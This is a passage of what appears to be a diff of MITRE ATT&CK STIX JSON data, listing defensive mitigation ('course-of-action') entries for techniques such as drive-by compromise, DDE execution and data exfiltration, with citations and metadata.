"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Drive-by Compromise Mitigation", + "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "external_references": [ + { + "external_id": "T1189", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1189" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0", + "modified": "2019-07-24T19:14:33.952Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Dylib Hijacking Mitigation", + "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", + "external_references": [ + { + "external_id": "T1157", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1157" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784", + "modified": "2019-07-24T19:15:00.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Dynamic Data Exchange Mitigation", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)", + "external_references": [ + { + "external_id": "T1173", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1173" + }, + { + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "source_name": "Microsoft DDE Advisory Nov 2017", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "source_name": "Microsoft ADV170021 Dec 2017", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + }, + { + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "source_name": "Enigma Reviving DDE Jan 2018", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74", + "modified": "2019-07-24T19:15:27.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Email Collection Mitigation", + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1114", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1114" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "modified": "2019-07-24T19:15:57.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Encrypt Sensitive Information", + "description": "Protect sensitive information with strong encryption.", + "external_references": [ + { + "external_id": "M1041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1041" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:43:44.834Z", + "id": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-06-11T16:43:44.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Endpoint Denial of Service Mitigation", + "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1499", + "url": "https://attack.mitre.org/mitigations/T1499" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T22:03:26.087Z", + "id": "course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628", + "modified": "2019-07-24T19:16:50.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Environment Variable Permissions", + "description": "Prevent modification of environment variables by unauthorized users and groups.", + "external_references": [ + { + "external_id": "M1039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1039" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:40:14.543Z", + "id": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "modified": "2019-06-11T16:40:14.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Environmental Keying Mitigation", + "description": "This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1480", + "url": "https://attack.mitre.org/mitigations/T1480" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-01T14:35:39.565Z", + "id": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", + "modified": "2019-07-24T19:17:09.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Execution Prevention", + "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", + "external_references": [ + { + "external_id": "M1038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1038" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:35:25.488Z", + "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-11T16:35:25.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Execution through API Mitigation", + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1106", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1106" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8", + "modified": "2019-07-24T19:17:59.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Execution through Module Load Mitigation", + "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", + "external_references": [ + { + "external_id": "T1129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1129" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "modified": "2019-07-24T19:18:25.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exfiltration Over Alternative Protocol Mitigation", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1048" + }, + { + "source_name": "TechNet Firewall Design", + "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "modified": "2019-07-24T19:19:07.585Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exfiltration Over Command and Control Channel Mitigation", + "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1041" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8", + "modified": "2019-07-24T19:19:30.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exfiltration Over Other Network Medium Mitigation", + "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)", + "external_references": [ + { + "external_id": "T1011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1011" + }, + { + "source_name": "Microsoft GPO Bluetooth FEB 2009", + "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.", + "url": "https://technet.microsoft.com/library/dd252791.aspx" + }, + { + "source_name": "TechRepublic Wireless GPO FEB 2009", + "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.", + "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "modified": "2019-07-24T19:20:18.344Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exfiltration Over Physical Medium Mitigation", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "external_references": [ + { + "external_id": "T1052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1052" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145", + "modified": "2019-07-24T19:20:50.299Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploit Protection", + "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", + "external_references": [ + { + "external_id": "M1050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1050" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:10:57.070Z", + "id": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-06-11T17:10:57.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Exploit Public-Facing Application Mitigation", + "description": "Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "external_references": [ + { + "external_id": "T1190", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1190" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--65da1eb6-d35d-4853-b280-98a76c0aef53", + "modified": "2019-07-24T19:21:22.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploitation for Client Execution Mitigation", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "external_references": [ + { + "external_id": "T1203", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1203" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba", + "modified": "2019-07-24T19:22:39.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploitation for Credential Access Mitigation", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "external_references": [ + { + "external_id": "T1212", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1212" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31", + "modified": "2019-07-24T19:23:33.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Exploitation for Defense Evasion Mitigation", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "external_references": [ + { + "external_id": "T1211", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1211" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender 